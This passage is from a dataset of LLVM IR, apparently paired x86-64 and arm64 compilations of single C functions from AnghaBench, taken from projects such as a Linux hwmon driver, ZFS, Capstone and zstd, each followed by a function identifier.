store ptr %13, ptr %10, align 8, !tbaa !15 br label %14 14: ; preds = %4, %8 ret void } declare ptr @get_type_data(ptr noundef, i32 noundef) local_unnamed_addr #1 declare ptr @da_insert_new(i32 noundef, i64 noundef) local_unnamed_addr #1 declare ptr @bstrdup(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !7, i64 0} !11 = !{!"frame_rate_data", !7, i64 0} !12 = !{!13, !14, i64 8} !13 = !{!"frame_rate_option", !14, i64 0, !14, i64 8} !14 = !{!"any pointer", !8, i64 0} !15 = !{!13, !14, i64 0}
obs-studio_libobs_extr_obs-properties.c_obs_property_frame_rate_option_insert
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/hwmon/extr_adm1031.c_adm1031_remove.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/hwmon/extr_adm1031.c_adm1031_remove.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @adm1031_group = dso_local global i32 0, align 4 @adm1031_group_opt = dso_local global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @adm1031_remove], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal noundef i32 @adm1031_remove(ptr noundef %0) #0 { %2 = tail call ptr @i2c_get_clientdata(ptr noundef %0) #2 %3 = load i32, ptr %2, align 4, !tbaa !5 %4 = tail call i32 @hwmon_device_unregister(i32 noundef %3) #2 %5 = tail call i32 @sysfs_remove_group(ptr noundef %0, ptr noundef nonnull @adm1031_group) #2 %6 = tail call i32 @sysfs_remove_group(ptr noundef %0, ptr noundef nonnull @adm1031_group_opt) #2 %7 = tail call i32 @kfree(ptr noundef nonnull %2) #2 ret i32 0 } declare ptr @i2c_get_clientdata(ptr noundef) local_unnamed_addr #1 declare i32 @hwmon_device_unregister(i32 noundef) local_unnamed_addr #1 declare i32 @sysfs_remove_group(ptr noundef, ptr noundef) local_unnamed_addr #1 declare i32 @kfree(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"adm1031_data", !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"}
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/hwmon/extr_adm1031.c_adm1031_remove.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/hwmon/extr_adm1031.c_adm1031_remove.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @adm1031_group = common global i32 0, align 4 @adm1031_group_opt = common global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @adm1031_remove], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal noundef i32 @adm1031_remove(ptr noundef %0) #0 { %2 = tail call ptr @i2c_get_clientdata(ptr noundef %0) #2 %3 = load i32, ptr %2, align 4, !tbaa !6 %4 = tail call i32 @hwmon_device_unregister(i32 noundef %3) #2 %5 = tail call i32 @sysfs_remove_group(ptr noundef %0, ptr noundef nonnull @adm1031_group) #2 %6 = tail call i32 @sysfs_remove_group(ptr noundef %0, ptr noundef nonnull @adm1031_group_opt) #2 %7 = tail call i32 @kfree(ptr noundef nonnull %2) #2 ret i32 0 } declare ptr @i2c_get_clientdata(ptr noundef) local_unnamed_addr #1 declare i32 @hwmon_device_unregister(i32 noundef) local_unnamed_addr #1 declare i32 @sysfs_remove_group(ptr noundef, ptr noundef) local_unnamed_addr #1 declare i32 @kfree(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"adm1031_data", !8, i64 0} !8 = !{!"int", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"}
fastsocket_kernel_drivers_hwmon_extr_adm1031.c_adm1031_remove
; ModuleID = 'AnghaBench/zfs/lib/libspl/asm-generic/extr_atomic.c_casptr.c' source_filename = "AnghaBench/zfs/lib/libspl/asm-generic/extr_atomic.c_casptr.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" ; Function Attrs: nounwind uwtable define dso_local ptr @casptr(ptr noundef %0, ptr noundef %1, ptr noundef %2) local_unnamed_addr #0 { %4 = tail call ptr @atomic_cas_ptr(ptr noundef %0, ptr noundef %1, ptr noundef %2) #2 ret ptr %4 } declare ptr @atomic_cas_ptr(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
; ModuleID = 'AnghaBench/zfs/lib/libspl/asm-generic/extr_atomic.c_casptr.c' source_filename = "AnghaBench/zfs/lib/libspl/asm-generic/extr_atomic.c_casptr.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" ; Function Attrs: nounwind ssp uwtable(sync) define ptr @casptr(ptr noundef %0, ptr noundef %1, ptr noundef %2) local_unnamed_addr #0 { %4 = tail call ptr @atomic_cas_ptr(ptr noundef %0, ptr noundef %1, ptr noundef %2) #2 ret ptr %4 } declare ptr @atomic_cas_ptr(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
zfs_lib_libspl_asm-generic_extr_atomic.c_casptr
; ModuleID = 'AnghaBench/capstone/arch/M68K/extr_M68KDisassembler.c_d68000_movem_re_16.c' source_filename = "AnghaBench/capstone/arch/M68K/extr_M68KDisassembler.c_d68000_movem_re_16.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @M68K_INS_MOVEM = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @d68000_movem_re_16], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @d68000_movem_re_16(ptr noundef %0) #0 { %2 = load i32, ptr @M68K_INS_MOVEM, align 4, !tbaa !5 %3 = tail call i32 @build_movem_re(ptr noundef %0, i32 noundef %2, i32 noundef 2) #2 ret void } declare i32 @build_movem_re(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"}
; ModuleID = 'AnghaBench/capstone/arch/M68K/extr_M68KDisassembler.c_d68000_movem_re_16.c' source_filename = "AnghaBench/capstone/arch/M68K/extr_M68KDisassembler.c_d68000_movem_re_16.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @M68K_INS_MOVEM = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @d68000_movem_re_16], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @d68000_movem_re_16(ptr noundef %0) #0 { %2 = load i32, ptr @M68K_INS_MOVEM, align 4, !tbaa !6 %3 = tail call i32 @build_movem_re(ptr noundef %0, i32 noundef %2, i32 noundef 2) #2 ret void } declare i32 @build_movem_re(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"}
capstone_arch_M68K_extr_M68KDisassembler.c_d68000_movem_re_16
; ModuleID = 'AnghaBench/reactos/drivers/filesystems/btrfs/zstd/extr_fse_compress.c_FSE_normalizeCount.c' source_filename = "AnghaBench/reactos/drivers/filesystems/btrfs/zstd/extr_fse_compress.c_FSE_normalizeCount.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @FSE_DEFAULT_TABLELOG = dso_local local_unnamed_addr global i32 0, align 4 @FSE_MIN_TABLELOG = dso_local local_unnamed_addr global i32 0, align 4 @GENERIC = dso_local local_unnamed_addr global i32 0, align 4 @FSE_MAX_TABLELOG = dso_local local_unnamed_addr global i32 0, align 4 @tableLog_tooLarge = dso_local local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind uwtable define dso_local i64 @FSE_normalizeCount(ptr noundef %0, i32 noundef %1, ptr noundef %2, i64 noundef %3, i32 noundef %4) local_unnamed_addr #0 { %6 = icmp eq i32 %1, 0 %7 = load i32, ptr @FSE_DEFAULT_TABLELOG, align 4 %8 = select i1 %6, i32 %7, i32 %1 %9 = load i32, ptr @FSE_MIN_TABLELOG, align 4, !tbaa !5 %10 = icmp ult i32 %8, %9 br i1 %10, label %11, label %14 11: ; preds = %5 %12 = load i32, ptr @GENERIC, align 4, !tbaa !5 %13 = tail call i64 @ERROR(i32 noundef %12) #2 br label %59 14: ; preds = %5 %15 = load i32, ptr @FSE_MAX_TABLELOG, align 4, !tbaa !5 %16 = icmp ugt i32 %8, %15 br i1 %16, label %17, label %20 17: ; preds = %14 %18 = load i32, ptr @tableLog_tooLarge, align 4, !tbaa !5 %19 = tail call i64 @ERROR(i32 noundef %18) #2 br label %59 20: ; preds = %14 %21 = tail call i32 @FSE_minTableLog(i64 noundef %3, i32 noundef %4) #2 %22 = icmp ult i32 %8, %21 br i1 %22, label %23, label %26 23: ; preds = %20 %24 = load i32, ptr @GENERIC, align 4, !tbaa !5 %25 = tail call i64 @ERROR(i32 noundef %24) #2 br label %59 26: ; preds = %20 %27 = shl nuw i32 1, %8 %28 = zext i32 %8 to i64 br label %29 29: ; preds = %26, %37 %30 = phi i32 [ %27, %26 ], [ %41, %37 ] %31 = phi i32 [ 0, %26 ], [ %43, %37 ] %32 = zext i32 %31 to i64 %33 = getelementptr inbounds i32, ptr %2, i64 %32 %34 = load i32, ptr %33, align 4, !tbaa !5 %35 = zext i32 %34 to i64 %36 = icmp eq i64 %35, %3 br i1 %36, label %59, label %37 37: ; preds = %29 %38 = icmp ne i32 %34, 0 %39 = sext i1 %38 to i16 %40 = sext i1 %38 to i32 %41 = add nsw i32 %30, %40 %42 = getelementptr inbounds i16, ptr %0, i64 %32 store i16 %39, ptr %42, align 2 %43 = add i32 %31, 1 %44 = icmp ugt i32 %43, %4 br i1 %44, label %45, label %29, !llvm.loop !9 45: ; preds = %37 %46 = sub nsw i32 0, %41 %47 = load i16, ptr %0, align 2, !tbaa !11 %48 = ashr i16 %47, 1 %49 = sext i16 %48 to i32 %50 = icmp sgt i32 %49, %46 br i1 %50, label %56, label %51 51: ; preds = %45 %52 = tail call i64 @FSE_normalizeM2(ptr noundef nonnull %0, i32 noundef %8, ptr noundef nonnull %2, i64 noundef %3, i32 noundef %4) #2 %53 = tail call i64 @FSE_isError(i64 noundef %52) #2 %54 = icmp eq i64 %53, 0 %55 = select i1 %54, i64 %28, i64 %52 br label %59 56: ; preds = %45 %57 = trunc i32 %41 to i16 %58 = add i16 %47, %57 store i16 %58, ptr %0, align 2, !tbaa !11 br label %59 59: ; preds = %29, %51, %56, %23, %17, %11 %60 = phi i64 [ %13, %11 ], [ %19, %17 ], [ %25, %23 ], [ %28, %56 ], [ %55, %51 ], [ 0, %29 ] ret i64 %60 } declare i64 @ERROR(i32 noundef) local_unnamed_addr #1 declare i32 @FSE_minTableLog(i64 noundef, i32 noundef) local_unnamed_addr #1 declare i64 @FSE_normalizeM2(ptr noundef, i32 noundef, ptr noundef, i64 noundef, i32 noundef) local_unnamed_addr #1 declare i64 @FSE_isError(i64 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = distinct !{!9, !10} !10 = !{!"llvm.loop.mustprogress"} !11 = !{!12, !12, i64 0} !12 = !{!"short", !7, i64 0}
; ModuleID = 'AnghaBench/reactos/drivers/filesystems/btrfs/zstd/extr_fse_compress.c_FSE_normalizeCount.c' source_filename = "AnghaBench/reactos/drivers/filesystems/btrfs/zstd/extr_fse_compress.c_FSE_normalizeCount.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @FSE_DEFAULT_TABLELOG = common local_unnamed_addr global i32 0, align 4 @FSE_MIN_TABLELOG = common local_unnamed_addr global i32 0, align 4 @GENERIC = common local_unnamed_addr global i32 0, align 4 @FSE_MAX_TABLELOG = common local_unnamed_addr global i32 0, align 4 @tableLog_tooLarge = common local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind ssp uwtable(sync) define i64 @FSE_normalizeCount(ptr noundef %0, i32 noundef %1, ptr noundef %2, i64 noundef %3, i32 noundef %4) local_unnamed_addr #0 { %6 = icmp eq i32 %1, 0 %7 = load i32, ptr @FSE_DEFAULT_TABLELOG, align 4 %8 = select i1 %6, i32 %7, i32 %1 %9 = load i32, ptr @FSE_MIN_TABLELOG, align 4, !tbaa !6 %10 = icmp ult i32 %8, %9 br i1 %10, label %11, label %14 11: ; preds = %5 %12 = load i32, ptr @GENERIC, align 4, !tbaa !6 %13 = tail call i64 @ERROR(i32 noundef %12) #2 br label %60 14: ; preds = %5 %15 = load i32, ptr @FSE_MAX_TABLELOG, align 4, !tbaa !6 %16 = icmp ugt i32 %8, %15 br i1 %16, label %17, label %20 17: ; preds = %14 %18 = load i32, ptr @tableLog_tooLarge, align 4, !tbaa !6 %19 = tail call i64 @ERROR(i32 noundef %18) #2 br label %60 20: ; preds = %14 %21 = tail call i32 @FSE_minTableLog(i64 noundef %3, i32 noundef %4) #2 %22 = icmp ult i32 %8, %21 br i1 %22, label %23, label %26 23: ; preds = %20 %24 = load i32, ptr @GENERIC, align 4, !tbaa !6 %25 = tail call i64 @ERROR(i32 noundef %24) #2 br label %60 26: ; preds = %20 %27 = shl nuw i32 1, %8 %28 = zext i32 %8 to i64 br label %29 29: ; preds = %26, %37 %30 = phi i32 [ %27, %26 ], [ %41, %37 ] %31 = phi i32 [ 0, %26 ], [ %43, %37 ] %32 = zext i32 %31 to i64 %33 = getelementptr inbounds i32, ptr %2, i64 %32 %34 = load i32, ptr %33, align 4, !tbaa !6 %35 = zext i32 %34 to i64 %36 = icmp eq i64 %35, %3 br i1 %36, label %58, label %37 37: ; preds = %29 %38 = icmp ne i32 %34, 0 %39 = sext i1 %38 to i16 %40 = sext i1 %38 to i32 %41 = add nsw i32 %30, %40 %42 = getelementptr inbounds i16, ptr %0, i64 %32 store i16 %39, ptr %42, align 2 %43 = add i32 %31, 1 %44 = icmp ugt i32 %43, %4 br i1 %44, label %45, label %29, !llvm.loop !10 45: ; preds = %37 %46 = sub nsw i32 0, %41 %47 = load i16, ptr %0, align 2, !tbaa !12 %48 = ashr i16 %47, 1 %49 = sext i16 %48 to i32 %50 = icmp sgt i32 %49, %46 br i1 %50, label %55, label %51 51: ; preds = %45 %52 = tail call i64 @FSE_normalizeM2(ptr noundef nonnull %0, i32 noundef %8, ptr noundef nonnull %2, i64 noundef %3, i32 noundef %4) #2 %53 = tail call i64 @FSE_isError(i64 noundef %52) #2 %54 = icmp eq i64 %53, 0 br i1 %54, label %60, label %58 55: ; preds = %45 %56 = trunc i32 %41 to i16 %57 = add i16 %47, %56 store i16 %57, ptr %0, align 2, !tbaa !12 br label %60 58: ; preds = %29, %51 %59 = phi i64 [ %52, %51 ], [ 0, %29 ] br label %60 60: ; preds = %58, %51, %55, %23, %17, %11 %61 = phi i64 [ %13, %11 ], [ %19, %17 ], [ %25, %23 ], [ %59, %58 ], [ %28, %51 ], [ %28, %55 ] ret i64 %61 } declare i64 @ERROR(i32 noundef) local_unnamed_addr #1 declare i32 @FSE_minTableLog(i64 noundef, i32 noundef) local_unnamed_addr #1 declare i64 @FSE_normalizeM2(ptr noundef, i32 noundef, ptr noundef, i64 noundef, i32 noundef) local_unnamed_addr #1 declare i64 @FSE_isError(i64 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = distinct !{!10, !11} !11 = !{!"llvm.loop.mustprogress"} !12 = !{!13, !13, i64 0} !13 = !{!"short", !8, i64 0}
reactos_drivers_filesystems_btrfs_zstd_extr_fse_compress.c_FSE_normalizeCount
; ModuleID = 'AnghaBench/linux/drivers/media/dvb-core/extr_dvb_frontend.c_dvb_frontend_reinitialise.c' source_filename = "AnghaBench/linux/drivers/media/dvb-core/extr_dvb_frontend.c_dvb_frontend_reinitialise.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" ; Function Attrs: nounwind uwtable define dso_local void @dvb_frontend_reinitialise(ptr noundef %0) local_unnamed_addr #0 { %2 = load ptr, ptr %0, align 8, !tbaa !5 store i32 1, ptr %2, align 4, !tbaa !10 %3 = tail call i32 @dvb_frontend_wakeup(ptr noundef nonnull %0) #2 ret void } declare i32 @dvb_frontend_wakeup(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 